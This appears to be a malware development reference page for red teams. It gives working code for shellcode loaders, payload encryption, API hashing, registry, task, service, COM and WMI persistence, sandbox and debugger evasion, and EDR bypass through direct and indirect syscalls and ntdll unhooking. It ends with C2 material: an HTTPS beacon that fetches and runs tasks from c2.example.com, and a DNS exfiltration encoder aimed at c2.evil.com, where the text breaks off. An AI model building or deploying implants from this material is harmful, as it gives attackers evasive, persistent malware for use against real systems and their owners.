Malware development reference. Payload creation, encryption, obfuscation, persistence, C2 comms, anti-analysis, and operational tradecraft.
Malware development (MalDev) covers the techniques used to build implants, loaders, and post-exploitation tools for red team engagements. Understanding how payloads are encrypted, how strings are hidden from static analysis, how persistence survives reboots, and how implants evade sandboxes and debuggers is essential for both building and detecting real-world threats. This reference covers the core building blocks from payload encryption through C2 communication.
The simplest loader: allocate RW memory, copy shellcode, flip to RX, and execute. This is the foundation for all other techniques. In practice, the allocate-write-execute pattern is heavily signatured, so production loaders split these steps across time (sleep between calls), use syscalls instead of WinAPI, or delegate execution to callback functions.
#include <windows.h>
int main() {
unsigned char shellcode[] = {
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
0xfc, 0x48, 0x83, 0xe4, 0xf0 /* ... */
};
// Allocate RW memory
PVOID base = VirtualAlloc(
NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy shellcode
memcpy(base, shellcode, sizeof(shellcode));
// Flip to RX (never use RWX - instant flag)
DWORD oldProtect;
VirtualProtect(base, sizeof(shellcode),
PAGE_EXECUTE_READ, &oldProtect);
// Execute via function pointer
((void(*)())base)();
return 0;
}
Rust equivalent using the windows crate. The same allocate-copy-protect-execute pattern, with Rust's type system enforcing proper handle/pointer usage. Compile with cargo build --release --target x86_64-pc-windows-msvc.
use std::ptr;
use windows::Win32::System::Memory::*;
use windows::Win32::Foundation::*;
fn main() {
let shellcode: &[u8] = &[
0xfc, 0x48, 0x83, 0xe4, 0xf0 // ...
];
unsafe {
let base = VirtualAlloc(
Some(ptr::null()),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
ptr::copy_nonoverlapping(
shellcode.as_ptr(),
base as *mut u8,
shellcode.len(),
);
let mut old_protect = PAGE_PROTECTION_FLAGS(0);
let _ = VirtualProtect(
base,
shellcode.len(),
PAGE_EXECUTE_READ,
&mut old_protect,
);
let func: fn() = std::mem::transmute(base);
func();
}
}
Multiple ways to transfer execution to shellcode beyond a plain function pointer. Callback-based methods (EnumFonts, CreateTimerQueueTimer) look less suspicious in call stacks since the execution origin is a legitimate Windows API.
| Method | API | Notes |
|---|---|---|
| Function pointer | Cast to void(*)() |
Simplest, easily signatured |
| CreateThread | CreateThread(NULL, 0, addr, ...) |
Standard, monitored by EDR |
| Callback functions | EnumFontsW, EnumChildWindows |
Less suspicious call stack |
| Fiber | CreateFiber + SwitchToFiber |
Uncommon, lower detection |
| APC | QueueUserAPC + NtTestAlert |
Self-injection via APC |
| Thread pool | CreateTimerQueueTimer |
Blends with system activity |
| Vectored exception | AddVectoredExceptionHandler |
Trigger via deliberate fault |
For process injection techniques (remote shellcode execution), see Shellcode Injection.
XOR is the simplest reversible cipher - applying the same key twice restores the original data. Single-byte XOR is trivially broken by frequency analysis or brute force (only 255 keys). Multi-byte XOR raises the bar significantly since the key space grows exponentially, though it is still not cryptographically secure against known-plaintext attacks.
// Single-byte XOR
void xor_encrypt(unsigned char* data, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
// Multi-byte XOR (more robust)
void xor_multi(unsigned char* data, size_t len,
unsigned char* key, size_t keyLen) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key[i % keyLen];
}
}
AES-256 in CBC mode is the gold standard for payload encryption. It provides strong confidentiality and is trusted enough that AV/EDR cannot flag the algorithm itself as suspicious. The main challenge is key management - the decryption key must be delivered to the loader without being statically extractable (e.g., fetched from C2, derived from environment data, or split across stages).
using System.Security.Cryptography;
byte[] AesEncrypt(byte[] plaintext, byte[] key, byte[] iv) {
using (var aes = Aes.Create()) {
aes.Key = key; // 32 bytes
aes.IV = iv; // 16 bytes
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
using (var enc = aes.CreateEncryptor())
return enc.TransformFinalBlock(
plaintext, 0, plaintext.Length);
}
}
byte[] AesDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
using (var aes = Aes.Create()) {
aes.Key = key;
aes.IV = iv;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
using (var dec = aes.CreateDecryptor())
return dec.TransformFinalBlock(
ciphertext, 0, ciphertext.Length);
}
}
RC4 is a stream cipher that is simple to implement and requires no IV or padding, making it popular in compact loaders and shellcode. Encryption and decryption use the same function (symmetric keystream XOR). While cryptographically broken for protocols like WEP/TLS, it remains practical for payload obfuscation where the goal is AV evasion, not long-term secrecy.
void rc4(unsigned char* data, size_t len,
unsigned char* key, size_t keyLen) {
unsigned char S[256];
for (int i = 0; i < 256; i++) S[i] = i;
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % keyLen]) % 256;
unsigned char tmp = S[i];
S[i] = S[j];
S[j] = tmp;
}
int i = 0; j = 0;
for (size_t n = 0; n < len; n++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
unsigned char tmp = S[i];
S[i] = S[j];
S[j] = tmp;
data[n] ^= S[(S[i] + S[j]) % 256];
}
}
Rust implementation of multi-byte XOR decryption for shellcode. The encrypted payload is stored as a byte array, decrypted in-place at runtime, then executed. Compile with --release to ensure the optimizer does not elide the XOR loop.
fn xor_decrypt(data: &mut [u8], key: &[u8]) {
for i in 0..data.len() {
data[i] ^= key[i % key.len()];
}
}
fn main() {
// XOR-encrypted shellcode (key: b"redteam")
let mut shellcode: Vec<u8> = vec![
0x9e, 0x2d, 0xb1, 0x80, 0x94 // ... encrypted bytes
];
let key = b"redteam";
xor_decrypt(&mut shellcode, key);
// Execute decrypted shellcode (use VirtualAlloc pattern)
unsafe {
let base = windows::Win32::System::Memory::VirtualAlloc(
Some(std::ptr::null()),
shellcode.len(),
windows::Win32::System::Memory::MEM_COMMIT
| windows::Win32::System::Memory::MEM_RESERVE,
windows::Win32::System::Memory::PAGE_READWRITE,
);
std::ptr::copy_nonoverlapping(
shellcode.as_ptr(), base as *mut u8, shellcode.len());
let mut old = windows::Win32::System::Memory::PAGE_PROTECTION_FLAGS(0);
let _ = windows::Win32::System::Memory::VirtualProtect(
base, shellcode.len(),
windows::Win32::System::Memory::PAGE_EXECUTE_READ, &mut old);
let f: fn() = std::mem::transmute(base);
f();
}
}
Quick reference for choosing a payload encryption scheme. Balance implementation complexity, performance, and how easily defenders can recover the plaintext. For most loaders, AES or RC4 with a remotely-fetched key is the sweet spot.
| Method | Key Size | Speed | Detection Risk |
|---|---|---|---|
| XOR (single byte) | 1 byte | Fast | High (trivial to reverse) |
| XOR (multi-byte) | N bytes | Fast | Medium |
| RC4 | 1-256 bytes | Fast | Medium (stream cipher) |
| AES-128/256 CBC | 16/32 bytes | Medium | Low (standard crypto) |
| ChaCha20 | 32 bytes | Fast | Low |
Static analysis and YARA rules scan the .rdata section for suspicious strings like "VirtualAlloc" or "CreateRemoteThread". Compile-time hashing replaces those plaintext API names with numeric hash constants, then resolves them at runtime by walking the export table. This breaks string-based signatures entirely.
// API name hashing - avoids strings in binary
#define HASH_SEED 5381
constexpr DWORD hash(const char* str) {
DWORD h = HASH_SEED;
while (*str) h = ((h << 5) + h) + *str++;
return h;
}
// Usage: resolve at runtime
#define H_VirtualAlloc 0x382C0F97
#define H_VirtualProtect 0x844FF18D
#define H_CreateThread 0x7F08F451
FARPROC resolve(HMODULE hMod, DWORD targetHash) {
// Walk EAT, hash each name, compare
// Return function pointer on match
}
Tools like strings, FLOSS, and YARA extract string literals from the .rdata/.data sections of a PE. By constructing strings character-by-character on the stack, the string never appears contiguously in the binary. This defeats basic static extraction, though advanced tools (FLOSS) can still recover them via emulation.
// Build strings on stack - avoids static analysis
char sKernel32[] = { 'k','e','r','n','e','l','3','2',
'.','d','l','l', 0 };
char sLoadLib[] = { 'L','o','a','d','L','i','b','r',
'a','r','y','A', 0 };
HMODULE hK32 = GetModuleHandleA(sKernel32);
FARPROC pLoad = GetProcAddress(hK32, sLoadLib);
Runtime string decryption stores sensitive strings as encrypted byte arrays in the binary and decrypts them only when needed. This is the standard pattern in .NET implants since managed assemblies are trivially decompiled. The encrypted blob is meaningless to static analysis; the string only exists briefly in memory during use.
// Encrypted strings decrypted at runtime
static string Dec(byte[] enc, byte key) {
var sb = new System.Text.StringBuilder();
foreach (var b in enc)
sb.Append((char)(b ^ key));
return sb.ToString();
}
// "VirtualAlloc" encrypted with key 0x42
byte[] sVA = { 0x14, 0x2B, 0x30, 0x36, 0x37,
0x23, 0x2E, 0x03, 0x2E, 0x2E,
0x2D, 0x21 };
string name = Dec(sVA, 0x42);
This is a prep-time tool, not a runtime technique. Use it to generate shifted byte arrays that you embed in your C/C# source code. The implant then reverses the shift at runtime. Simple but effective for avoiding plaintext strings in the compiled binary.
# Encrypt strings for embedding
def encrypt_str(s, shift=13):
return ','.join(
[hex(ord(c) + shift) for c in s]
)
# "VirtualAlloc" -> C array
print(encrypt_str("VirtualAlloc"))
# 0x63,0x76,0x7f,0x81,0x82,0x6e,...
DJB2 hash implementation in Rust for runtime API resolution. The const fn ensures the hash is computed at compile time when called with a literal, so no plaintext API names appear in the binary.
const fn djb2_hash(s: &[u8]) -> u32 {
let mut h: u32 = 5381;
let mut i = 0;
while i < s.len() {
h = h.wrapping_mul(33).wrapping_add(s[i] as u32);
i += 1;
}
h
}
// Compile-time constants - no strings in binary
const H_VIRTUAL_ALLOC: u32 = djb2_hash(b"VirtualAlloc");
const H_VIRTUAL_PROTECT: u32 = djb2_hash(b"VirtualProtect");
const H_LOAD_LIBRARY_A: u32 = djb2_hash(b"LoadLibraryA");
// Runtime: walk PEB -> LDR -> export table,
// hash each export name, compare against constants
CRC32 is another popular hash for API resolution. It has fewer collisions than DJB2 and is often used in shellcode (Metasploit's block_api uses a variant). The table-less implementation keeps the code compact.
#define CRC32_POLY 0xEDB88320
DWORD crc32_hash(const char* str) {
DWORD crc = 0xFFFFFFFF;
while (*str) {
crc ^= (BYTE)*str++;
for (int i = 0; i < 8; i++)
crc = (crc >> 1) ^ (CRC32_POLY & (-(crc & 1)));
}
return crc ^ 0xFFFFFFFF;
}
The simplest persistence method - values under Run/RunOnce execute automatically at logon. HKCU requires no admin; HKLM affects all users but needs elevation. Trade-off: this is the most heavily monitored persistence location by EDR products and is checked by nearly every forensic triage tool (Autoruns, RECmd).
# Current user (no admin)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Users\Public\payload.exe"
# All users (admin required)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\svc.exe"
# RunOnce (executes once then deletes)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Setup /t REG_SZ /d "C:\payload.exe"
Scheduled tasks are reliable and survive reboots. They support flexible triggers (logon, time interval, event-based) and can run as SYSTEM. Tasks created via COM objects leave fewer command-line artifacts than schtasks.exe. Defenders monitor the \Microsoft\Windows\ task folder and Security event 4698.
# Create persistent scheduled task
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Public\svc.exe" /sc onlogon /ru SYSTEM
# With specific timing
schtasks /create /tn "ChromeSync" /tr "powershell -w hidden -f C:\Users\Public\sync.ps1" /sc minute /mo 30
# Via COM (stealthier)
$action = New-ScheduledTaskAction -Execute "C:\Users\Public\svc.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger
Services provide high-privilege persistence running as SYSTEM. They start automatically at boot (before user logon) and can be configured as DLL-based services hosted by svchost.exe for better blending. Requires admin to install. Monitored via System event 7045 and the Services registry hive.
# Create service (admin required)
sc create "WindowsHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto DisplayName= "Windows Health Service"
sc start WindowsHealthSvc
# DLL service
sc create "UpdateSvc" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
reg add "HKLM\System\CurrentControlSet\Services\UpdateSvc\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\evil.dll"
Windows resolves COM objects by searching HKCU before HKLM. By registering a malicious DLL under a CLSID in HKCU, you hijack loading when any application instantiates that COM class. No admin required, very stealthy since no new services or tasks are created - the trigger is built into normal application behavior.
# Find hijackable CLSIDs
# Look for missing InprocServer32 DLLs
reg query "HKCU\Software\Classes\CLSID" /s /f InprocServer32
# Hijack CLSID (user-level)
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\evil.dll"
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both"
DLL proxying (also called DLL side-loading with forwarding) replaces a legitimate DLL while maintaining all its original functionality. The proxy DLL forwards every export to the renamed original, so the host application works normally. Your payload runs in DllMain. This avoids breaking application behavior, which would alert the user or crash the host process.
1. Find target DLL loaded by legit app
2. Rename original: legit.dll -> legit_orig.dll
3. Create proxy DLL that:
- Exports all original functions
- Forwards calls to legit_orig.dll
- Executes payload on DllMain
4. Place proxy as legit.dll
// Export forwarding (DEF file)
EXPORTS
OriginalFunc1=legit_orig.OriginalFunc1
OriginalFunc2=legit_orig.OriginalFunc2
WMI event subscriptions are a fileless persistence mechanism. A permanent event filter + consumer + binding lives entirely in the WMI repository (OBJECTS.DATA), not the filesystem. The payload triggers on any WQL-queryable event (process start, timer, logon). Hard to detect without dedicated WMI auditing or tools like Autoruns.
# Permanent WMI event consumer (survives reboot)
$filter = Set-WMIInstance -Class __EventFilter -Arguments @{
Name = 'UpdateFilter'
EventNameSpace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$consumer = Set-WMIInstance -Class CommandLineEventConsumer -Arguments @{
Name = 'UpdateConsumer'
CommandLineTemplate = 'C:\Users\Public\payload.exe'
}
Set-WMIInstance -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
Automated sandboxes typically run with minimal resources (1 CPU, low RAM, small disk) and use generic usernames. Checking these environmental indicators lets the implant exit early if it detects an analysis environment. Stack multiple checks - no single indicator is reliable since modern sandboxes increasingly customize these values.
// Check username/hostname for sandbox indicators
char user[256]; DWORD sz = 256;
GetUserNameA(user, &sz);
char* sandbox_users[] = { "sandbox", "malware",
"virus", "sample", "test", NULL };
for (int i = 0; sandbox_users[i]; i++)
if (strstr(user, sandbox_users[i])) ExitProcess(0);
// Check CPU count
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) ExitProcess(0);
// Check RAM (< 2GB suspicious)
MEMORYSTATUSEX ms = { sizeof(ms) };
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < 2ULL * 1024 * 1024 * 1024)
ExitProcess(0);
// Check disk size (< 60GB suspicious)
ULARGE_INTEGER diskSize;
GetDiskFreeSpaceExA("C:\\", NULL, &diskSize, NULL);
if (diskSize.QuadPart < 60ULL * 1024 * 1024 * 1024)
ExitProcess(0);
Sandboxes often accelerate or skip Sleep() calls to speed up analysis. By measuring elapsed time before and after a sleep, you can detect if the sandbox shortened it. Checking for mouse movement or user interaction is another strong signal - sandboxes rarely simulate realistic human input patterns.
// Sleep acceleration detection
DWORD t1 = GetTickCount();
Sleep(2000); // Sleep 2 seconds
DWORD t2 = GetTickCount();
if ((t2 - t1) < 1500) ExitProcess(0); // Sandbox skipped sleep
// NTP time check
// Compare local time vs NTP server
// Large skew indicates sandbox
// Delayed execution
// Wait for user interaction (mouse move, keypress)
POINT p1, p2;
GetCursorPos(&p1);
Sleep(5000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y)
ExitProcess(0); // No mouse movement
Debugger detection falls into several categories: API-based checks (IsDebuggerPresent), PEB flag inspection, timing anomalies (single-stepping adds measurable overhead), hardware breakpoint detection via debug registers, and exception-based tricks (INT 2D). Layering multiple methods increases reliability.
| Technique | API/Method |
|---|---|
| IsDebuggerPresent | kernel32!IsDebuggerPresent() |
| PEB.BeingDebugged | Read PEB offset 0x02 |
| NtGlobalFlag | PEB offset 0xBC (0x70 = debug) |
| CheckRemoteDebuggerPresent | kernel32!CheckRemoteDebuggerPresent() |
| NtQueryInformationProcess | ProcessDebugPort (0x7) |
| Timing checks | rdtsc / QueryPerformanceCounter |
| Hardware breakpoints | Read DR0-DR3 via GetThreadContext |
| INT 2D | Single-step exception |
| OutputDebugString | Check GetLastError |
| Parent process check | Verify parent is explorer.exe |
Enumerating running processes and checking for known analysis tools (Wireshark, x64dbg, Process Hacker) is a quick way to detect an analyst's workstation. VM detection checks for VMware/VirtualBox artifacts in the registry and process list. Note that many enterprises run VMs in production, so VM detection can cause false positives in real targets.
// Check for analysis tools
char* blacklist[] = {
"wireshark.exe", "procmon.exe", "x64dbg.exe",
"ida64.exe", "ollydbg.exe", "processhacker.exe",
"fiddler.exe", "autoruns.exe", NULL
};
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
Process32First(snap, &pe);
do {
for (int i = 0; blacklist[i]; i++) {
if (!_stricmp(pe.szExeFile, blacklist[i]))
ExitProcess(0);
}
} while (Process32Next(snap, &pe));
// VM detection via registry
// HKLM\SOFTWARE\VMware, Inc.\VMware Tools
// HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
// Check for vmtoolsd.exe, VBoxService.exe
EDR products hook ntdll.dll functions (NtAllocateVirtualMemory, NtWriteVirtualMemory, etc.) by patching the beginning of each stub with a JMP to their inspection code. Direct syscalls bypass these hooks entirely by executing the syscall instruction from your own code, using the correct
SysWhispers2 generates .h, .c, and .asm files containing syscall stubs with SSN resolution.
Generate stubs for target functions:
python syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
This produces syscalls.h, syscalls.c, and syscalls-asm.x64.asm. Add all three to your Visual Studio project (right-click .asm > Properties > Item Type: Microsoft Macro Assembler). Then call the Nt functions directly:
#include "syscalls.h"
int main() {
HANDLE hProcess = GetCurrentProcess();
PVOID baseAddr = NULL;
SIZE_T regionSize = 0x1000;
NTSTATUS status;
// Direct syscall - bypasses ntdll hook
status = NtAllocateVirtualMemory(
hProcess,
&baseAddr,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (status == 0) {
// Write shellcode to allocated memory
unsigned char shellcode[] = { /* ... */ };
SIZE_T bytesWritten = 0;
NtWriteVirtualMemory(
hProcess,
baseAddr,
shellcode,
sizeof(shellcode),
&bytesWritten
);
// Change protection to RX
ULONG oldProtect;
NtProtectVirtualMemory(
hProcess,
&baseAddr,
®ionSize,
PAGE_EXECUTE_READ,
&oldProtect
);
// Create thread to execute
HANDLE hThread = NULL;
NtCreateThreadEx(
&hThread, GENERIC_EXECUTE, NULL,
hProcess, baseAddr, NULL,
FALSE, 0, 0, 0, NULL
);
NtWaitForSingleObject(hThread, FALSE, NULL);
}
return 0;
}
With direct syscalls, the syscall instruction lives in your executable's memory (or in unbacked RWX memory if injected). Modern EDR products detect this by checking the
Indirect syscalls solve this by setting up all the registers (RCX, RDX, R8, R9, RAX for SSN, R10 = RCX), then syscall instruction inside ntdll.dll itself
SysWhispers3 supports indirect syscall generation:
python syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m jumper
How the indirect JMP works (x64 ASM):
; Indirect syscall stub for NtAllocateVirtualMemory
NtAllocateVirtualMemory PROC
mov r10, rcx ; standard Nt calling convention
mov eax, wNtAllocateVirtualMemory ; SSN resolved at runtime
; Instead of executing syscall here, JMP to ntdll's syscall gadget
jmp qword ptr [pSyscallAddr] ; address of "syscall; ret" in ntdll
NtAllocateVirtualMemory ENDP
Finding the syscall gadget address in C:
// Locate the "syscall; ret" gadget inside ntdll
PVOID FindSyscallGadget() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)section[i].Name, ".text") == 0) {
BYTE* start = (BYTE*)hNtdll + section[i].VirtualAddress;
DWORD size = section[i].Misc.VirtualSize;
for (DWORD j = 0; j < size - 1; j++) {
// Look for: 0F 05 (syscall) followed by C3 (ret)
if (start[j] == 0x0F && start[j+1] == 0x05 && start[j+2] == 0xC3) {
return &start[j];
}
}
}
}
return NULL;
}
This makes the call stack look legitimate to EDR, since the syscall instruction pointer is inside ntdll's .text section.
.text section directly. Each clean (unhooked) Nt function stub starts with a known pattern:
4C 8B D1 mov r10, rcx
B8 XX 00 00 00 mov eax, <SSN> <-- XX is the SSN
If EDR has hooked the stub, the first bytes will be a JMP (E9) or FF 25 to the hook handler instead.
JMP (E9), INT3 (CC), and multi-byte hooks.
SSN extraction (HellsGate pattern):
#include <windows.h>
typedef struct _HELL_GATE {
DWORD ssn;
PVOID syscallAddr;
} HELL_GATE;
BOOL GetSSN(PVOID pFuncAddr, HELL_GATE* gate) {
BYTE* stub = (BYTE*)pFuncAddr;
// HellsGate: check for clean stub
// 4C 8B D1 = mov r10, rcx
// B8 XX 00 00 00 = mov eax, SSN
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 &&
stub[3] == 0xB8 && stub[5] == 0x00 && stub[6] == 0x00 && stub[7] == 0x00) {
gate->ssn = *(DWORD*)(stub + 4);
return TRUE;
}
// HalosGate: stub is hooked, check neighbors
// Look downward (SSN + 1, SSN + 2, ...)
for (int i = 1; i < 25; i++) {
// Each syscall stub is 0x20 bytes apart in ntdll
BYTE* neighbor = stub + (i * 0x20);
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[2] == 0xD1 &&
neighbor[3] == 0xB8 && neighbor[5] == 0x00) {
gate->ssn = *(DWORD*)(neighbor + 4) - i; // subtract offset
return TRUE;
}
// Also look upward (SSN - 1, SSN - 2, ...)
neighbor = stub - (i * 0x20);
if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[2] == 0xD1 &&
neighbor[3] == 0xB8 && neighbor[5] == 0x00) {
gate->ssn = *(DWORD*)(neighbor + 4) + i; // add offset
return TRUE;
}
}
return FALSE;
}
int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pNtAlloc = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
HELL_GATE gate = { 0 };
if (GetSSN(pNtAlloc, &gate)) {
// gate.ssn now contains the SSN
// Use it in a syscall stub (direct or indirect)
}
return 0;
}
Reference: HellsGate
Instead of avoiding hooks, ntdll unhooking .text section with a clean copy. Several methods exist to obtain a clean ntdll:
Method 1: From disk
Read the original ntdll.dll from C:\Windows\System32\, map it, and copy its .text section over the hooked copy in memory.
#include <windows.h>
void UnhookNtdllFromDisk() {
// Get handle to hooked ntdll in memory
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
// Find .text section
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)section[i].Name, ".text") == 0) {
PVOID textAddr = (BYTE*)hNtdll + section[i].VirtualAddress;
DWORD textSize = section[i].Misc.VirtualSize;
// Read clean ntdll from disk
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* cleanNtdll = (BYTE*)VirtualAlloc(
NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD bytesRead;
ReadFile(hFile, cleanNtdll, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
// Map clean .text section
PIMAGE_DOS_HEADER cleanDos = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS cleanNt = (PIMAGE_NT_HEADERS)(cleanNtdll + cleanDos->e_lfanew);
PIMAGE_SECTION_HEADER cleanSec = IMAGE_FIRST_SECTION(cleanNt);
for (int j = 0; j < cleanNt->FileHeader.NumberOfSections; j++) {
if (strcmp((char*)cleanSec[j].Name, ".text") == 0) {
BYTE* cleanText = cleanNtdll + cleanSec[j].PointerToRawData;
// Overwrite hooked .text with clean copy
DWORD oldProtect;
VirtualProtect(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(textAddr, cleanText, textSize);
VirtualProtect(textAddr, textSize, oldProtect, &oldProtect);
break;
}
}
VirtualFree(cleanNtdll, 0, MEM_RELEASE);
break;
}
}
}
Method 2: From KnownDlls
Open the \KnownDlls\ntdll.dll section object and map it. This avoids touching the filesystem (no CreateFile calls for EDR to intercept).
void UnhookNtdllFromKnownDlls() {
HANDLE hSection = NULL;
UNICODE_STRING name;
OBJECT_ATTRIBUTES oa;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
// Open the section object
NTSTATUS status = NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
if (status != 0) return;
// Map the clean ntdll
PVOID cleanNtdll = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(),
&cleanNtdll, 0, 0, NULL, &viewSize,
ViewUnmap, 0, PAGE_READONLY);
// Copy .text section over hooked ntdll (same PE parsing as Method 1)
// ...
NtClose(hSection);
}
Method 3: From a suspended process
Spawn a sacrificial process in a suspended state, read its clean ntdll before EDR injects and hooks it.
void UnhookNtdllFromSuspendedProcess() {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Spawn suspended process
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Get ntdll base in remote process (same base address due to ASLR shared mapping)
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Read clean .text from the suspended process's ntdll
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)section[i].Name, ".text") == 0) {
PVOID textAddr = (BYTE*)hNtdll + section[i].VirtualAddress;
DWORD textSize = section[i].Misc.VirtualSize;
BYTE* cleanText = (BYTE*)malloc(textSize);
ReadProcessMemory(pi.hProcess, textAddr, cleanText, textSize, NULL);
// Overwrite our hooked .text
DWORD oldProtect;
VirtualProtect(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(textAddr, cleanText, textSize);
VirtualProtect(textAddr, textSize, oldProtect, &oldProtect);
free(cleanText);
break;
}
}
// Clean up sacrificial process
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
load unhook / unhook_pe uses Method 1 (disk read) but has been crashing on Windows 11 24H2+ due to changes in ntdll section layout. Custom implementations should account for the updated PE structure.
| Technique | Complexity | EDR Bypass Level | Detectable By | Notes |
|---|---|---|---|---|
| Direct syscalls | Low | Medium | Syscall origin checks (unbacked memory) | SysWhispers2 |
| Indirect syscalls | Medium | High | Advanced ETW tracing | SysWhispers3, most reliable |
| HellsGate/HalosGate | Medium | High | Memory scanning for SSN resolution code | Runtime SSN resolution |
| ntdll unhooking | Low | Medium | Periodic integrity checks by EDR | Simplest but detectable |
| Custom loader + indirect | High | Very High | Advanced behavioral analysis only | Best approach for mature EDR |
The HTTP(S) beacon pattern is the most common C2 channel - the implant periodically polls the server for tasks and posts results. Adding jitter (random variation to sleep time) makes the traffic less predictable and harder to detect with statistical analysis. Use legitimate-looking User-Agent headers and URI paths that blend with normal web traffic.
// Simple HTTPS beacon with sleep jitter
while (true) {
try {
var client = new WebClient();
// Add legitimate-looking headers
client.Headers.Add("User-Agent",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
// Check-in (GET task)
string task = client.DownloadString(
"https://c2.example.com/api/beacon");
if (!string.IsNullOrEmpty(task)) {
// Execute and return result
string result = Execute(task);
client.UploadString(
"https://c2.example.com/api/result",
result);
}
} catch { }
// Sleep with jitter (30s +/- 30%)
int jitter = new Random().Next(-9000, 9000);
Thread.Sleep(30000 + jitter);
}
DNS is a covert C2 channel because DNS traffic is almost never blocked and often not inspected. Data is encoded into subdomain labels of queries to an attacker-controlled authoritative nameserver. Tasking comes back in TXT/CNAME records. Bandwidth is low (limited by label/query size) but the channel is extremely hard to block without breaking legitimate DNS.
# DNS exfil encoder (prep-time tool)
import base64
def dns_encode(data: bytes, domain: str) -> list:
"""Chunk data into DNS-safe subdomain labels."""
b32 = base64.b32encode(data).decode().rstrip("=").lower()
# Max 63 chars per label, 253 total FQDN
chunks = [b32[i:i+63] for i in range(0, len(b32), 63)]
queries = []
for i, chunk in enumerate(chunks):
queries.append(f"{i}.{chunk}.data.{domain}")
return queries
# Usage: generate queries for exfiltration
for q in dns_encode(b"whoami output here", "c2.evil.com"):
